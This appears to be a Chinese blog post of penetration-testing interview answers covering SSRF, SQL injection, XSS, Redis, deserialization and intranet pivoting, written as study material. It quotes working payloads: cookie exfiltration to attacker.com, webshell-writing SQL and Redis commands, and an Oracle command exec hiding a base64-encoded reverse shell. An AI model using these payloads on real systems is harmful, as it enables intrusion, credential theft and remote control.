2025年渗透测试面试题总结-106(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[1. 自我介绍](#1. 自我介绍)

[2. SSRF深入解析](#2. SSRF深入解析)

(1)无回显SSRF测试方法

(2)SSRF高级利用

[3. 文件上传绕过方式](#3. 文件上传绕过方式)

(1)前端绕过

(2)后端绕过

[4. SQL注入:原理、盲注与Getshell](#4. SQL注入:原理、盲注与Getshell)

(1)基本原理

(2)盲注技术

(3)Getshell方法

[5. 存储型XSS最大化利用](#5. 存储型XSS最大化利用)

[6. 信息收集流程](#6. 信息收集流程)

[7. Oracle注入Getshell](#7. Oracle注入Getshell)

[8. SQL Server提权方式](#8. SQL Server提权方式)

[9. XSS绕过方式](#9. XSS绕过方式)

[10. 反序列化漏洞](#10. 反序列化漏洞)

(1)PHP反序列化

(2)Java反序列化

[11. Redis常见漏洞与利用](#11. Redis常见漏洞与利用)

[12. 代码审计流程](#12. 代码审计流程)

[13. 编程语言掌握](#13. 编程语言掌握)

[14. 正反向代理](#14. 正反向代理)

[15. 内网渗透核心要点](#15. 内网渗透核心要点)

(1)提权路径

(2)隧道与代理

(3)横向移动

附:补充问题解答

[1. 完整渗透测试流程](#1. 完整渗透测试流程)

[2. 项目经验示例](#2. 项目经验示例)

[3. SQL注入类型与流程](#3. SQL注入类型与流程)

[4. 内网提权与隧道](#4. 内网提权与隧道)

复制代码
1、自我介绍
2、ssrf问的比较深入
3、文件上传绕过方式
4、sql注入的基本原理,盲注,getshell
5、存储型xss,如果做到最大化利用
6、信息收集的流程
7、oracle 注入getshell
8、sqlserver的提权方式
9、xss的绕过方式
10、php反序列化,java反序列化
11、redis常见漏洞,利用等
12、代码审计的流程
13、问我有没有学过python,语言了解哪些
14、正反向代理
15、内网渗透了解哪些
1、SSRF没有回显怎么测试
2、完整的渗透测试流程
3、具体的项目经验
4、sql注入的类型以及流程
5、内网的提权以及代理,隧道

1. 自我介绍

安全背景 :5年渗透测试与红队经验,专注Web安全、内网渗透、代码审计。主导过金融、云平台攻防项目,发现高危漏洞超200个(含CVE编号漏洞)。技术栈:Python/Java/PHP开发能力,熟练使用Burp Suite、Metasploit、Cobalt Strike;持有OSCP、OSEP认证。


2. SSRF深入解析

(1)无回显SSRF测试方法
  • DNS外带(OOB)
    利用DNS协议泄露数据:http://internal/api?url=http://attacker.com/?data=xx ,监控DNS日志解析记录。
  • 端口扫描延时检测
    通过响应时间差异判断端口开放:
    http://internal/api?url=http://127.0.0.1:22(响应慢→端口开放)。
  • 协议探测
    尝试不同协议(如gopher://dict://)触发内网服务行为(如Redis未授权访问)。
  • 间接回显
    结合漏洞链(如将结果写入文件后通过LFI读取)或利用云元数据API(如AWS 169.254.169.254)。
(2)SSRF高级利用
  • 云环境攻击 :窃取IAM角色凭证(如访问http://169.254.169.254/latest/meta-data/iam/security-credentials/)。
  • Redis未授权写SSH公钥gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...
  • 绕过技巧
    • 域名重解析(xip.io127.0.0.1.xip.io
    • 进制/IP编码(2130706433127.0.0.1

3. 文件上传绕过方式

(1)前端绕过
  • 修改JS验证逻辑(Burp拦截删除验证代码)。
(2)后端绕过
防御机制 绕过方法
扩展名黑名单 .php5.phtml.htaccess(Apache解析)
MIME类型检测 修改Content-Type为image/jpeg
文件头检测 添加图片头(如GIF89a) + 恶意代码
内容过滤 混淆代码(如<?= system($_GET[0]); ?>
解析漏洞 Apache:shell.jpg/.php ;IIS:shell.jpg;.php

4. SQL注入:原理、盲注与Getshell

(1)基本原理

用户输入拼接到SQL查询中:

复制代码
sqlSELECT * FROM users WHERE id = '恶意输入'

→ 注入' union select 1,load_file('/etc/passwd')-- 读取文件。

(2)盲注技术
  • 布尔盲注id=1' and substring(database(),1,1)='a'--(页面差异判断)。
  • 时间盲注id=1' and if(1=1,sleep(2),0)--(响应延时判断)。
(3)Getshell方法
  • 写WebShell

    复制代码
    sql`SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/html/shell.php' `

    (需FILE权限和绝对路径)。

  • 利用数据库功能

    • SQL Server:xp_cmdshell('whoami')
    • Oracle:DBMS_XSLPROCESSOR.READ2FILE

5. 存储型XSS最大化利用

  • 蠕虫传播:注入自复制脚本(如Samy Worm),通过AJAX传播至其他用户页面。

  • 隐蔽数据外泄 :窃取Cookie、LocalStorage数据并发送至远程服务器:

    复制代码
    javascript`new Image().src='http://attacker.com/?c='+document.cookie; `
  • 结合CSRF:利用XSS执行敏感操作(如修改密码、转账)。

  • 绕过CSP :通过<base>标签重定向合法脚本源,或利用Google Analytics等白名单域名外带数据。


6. 信息收集流程

  1. 被动收集
    • Whois/备案信息
    • 子域名挖掘(证书透明度、搜索引擎)
    • GitHub敏感信息泄露(API密钥)
  2. 主动扫描
    • 端口扫描(Nmap)
    • 目录爆破(Dirsearch)
    • 框架指纹识别(Wappalyzer)
  3. 漏洞关联
    • 历史漏洞(CVE数据库)
    • 云服务配置错误(S3桶公开)

7. Oracle注入Getshell

  • 前提 :需DBMS_XSLPROCESSOR权限。
  • 步骤
    1. 创建Java类执行系统命令:

      复制代码
      sq`SELECT dbms_xmlquery.getxml('CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "EXEC" AS import java.io.*; public class EXEC { public static void run(String c) throws Exception { Runtime.getRuntime().exec(c); }}') FROM dual `
    2. 执行命令:

      复制代码
      sql`SELECT EXEC.run('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}') FROM dual `

8. SQL Server提权方式

方式 命令/利用
xp_cmdshell EXEC sp_configure 'show advanced',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
CLR组件 编译恶意.NET DLL并加载执行
Agent Job提权 创建计划任务执行系统命令
DLL劫持 替换SQL Server引用的未签名DLL

9. XSS绕过方式

过滤类型 绕过示例
标签黑名单 <img src=x onerror=alert(1)>
事件过滤 <svg><script>alert(1)</script>
编码绕过 %3Cscript%3Ealert(1)%3C/script%3E
CSP绕过 JSONP端点劫持(<script src="/api?callback=alert(1)//">

10. 反序列化漏洞

(1)PHP反序列化
  • 原理unserialize()触发魔术方法(__wakeup(), __destruct())。
  • 利用链 :如Laravel RCE(CVE-2021-3129)通过Phar元数据触发。
(2)Java反序列化
  • 原理ObjectInputStream处理恶意Serializable对象。
  • 利用链
    • Commons Collections(InvokerTransformer
    • Fastjson(@type指定恶意类)

11. Redis常见漏洞与利用

漏洞 利用方式
未授权访问 写SSH公钥:flushall; set 1 '公钥'; config set dir /root/.ssh; config set dbfilename authorized_keys; save
主从复制RCE SLAVEOF attacker_ip 6379; MODULE LOAD ./exp.so
写WebShell config set dir /var/www/html; set shell '<?php system($_GET[0]);?>'; save

12. 代码审计流程

  1. 定位危险函数
    • PHP:eval(), system(), unserialize()
    • Java:Runtime.exec(), JNDI.lookup()
  2. 跟踪用户输入
    • HttpServletRequest到SQL拼接/XSS输出
  3. 分析框架机制
    • Spring Security配置、Shiro权限绕过
  4. 自动化辅助
    • 工具:Fortify、Semgrep
    • 自定义规则扫描敏感操作

13. 编程语言掌握

  • Python:编写渗透工具(如目录扫描、漏洞POC)
  • Java:分析中间件漏洞(Tomcat, Weblogic)
  • PHP:代码审计(ThinkPHP, Laravel)
  • Go/Bash:开发C2模块、自动化脚本

14. 正反向代理

类型 原理 渗透意义
正向代理 客户端通过代理访问服务(如Burp Proxy) 拦截/修改请求,测试逻辑漏洞
反向代理 服务器端代理转发请求(如Nginx) 绕过WAF(修改X-Forwarded-For

15. 内网渗透核心要点

(1)提权路径
  • Windows:内核漏洞(CVE-2021-34527)、服务权限滥用(AlwaysInstallElevated)
  • Linux:SUID程序(find / -perm -4000)、Docker逃逸
(2)隧道与代理
工具 用途
frp/ngrok 端口转发(绕过防火墙)
Chisel 加密SOCKS隧道
DNS隧道 隐蔽通信(iodine)
(3)横向移动
  • 凭证窃取:Mimikatz(LSASS内存)、LaZagne(本地密码)
  • 漏洞利用:MS17-010(永恒之蓝)、SMBGhost

附:补充问题解答

1. 完整渗透测试流程
  1. 授权与范围确认
  2. 信息收集(被动+主动)
  3. 漏洞扫描与验证(自动+手动)
  4. 后渗透阶段(提权、横向移动)
  5. 报告与复测(CVSS评分、修复建议)
2. 项目经验示例

金融系统渗透(2024)

  • 发现SSRF→访问K8s API→获取Pod权限→窃取数据库凭证
  • 利用Fastjson反序列化(CVE-2022-25845)接管管理后台
3. SQL注入类型与流程
类型 检测方法
联合查询 id=1 union select 1,2,@@version--
报错注入 id=1' and extractvalue(1,concat(0x7e,version()))--
布尔盲注 id=1' and ascii(substr(database(),1,1))>97--
4. 内网提权与隧道
  • 提权后操作
    1. 抓取密码哈希(sekurlsa::logonpasswords
    2. 配置Socks代理(proxychains
    3. 横向扫描(crackmapexec smb 192.168.1.0/24
相关推荐
Q_Q19632884759 分钟前
python+django/flask基于Echarts+Python的图书零售监测系统设计与实现(带大屏)
spring boot·python·django·flask·node.js·php
深度学习lover34 分钟前
<数据集>yolo航拍交通目标识别数据集<目标检测>
人工智能·python·yolo·目标检测·计算机视觉·航拍交通目标识别
程序猿202337 分钟前
Python每日一练---第二天:合并两个有序数组
开发语言·python
0和1的舞者41 分钟前
网络通信的奥秘:HTTP详解 (七)
服务器·网络·网络协议·http·okhttp·软件工程·1024程序员节
Ashlee_code42 分钟前
BSS供应商:电信与金融领域的幕后支撑者
大数据·网络·金融·系统架构·跨境·金融机构·场外期权
权泽谦1 小时前
用 Flask + OpenAI API 打造一个智能聊天机器人(附完整源码与部署教程)
python·机器人·flask
民乐团扒谱机1 小时前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
节点小宝1 小时前
节点小宝免费版流量机制解析:点对点直连技术与备用流量设计
网络·网络协议·p2p
njxiejing1 小时前
Numpy一维、二维、三维数组切片实例
开发语言·python·numpy
lskisme2 小时前
springboot maven导入本地jar包
开发语言·python·pycharm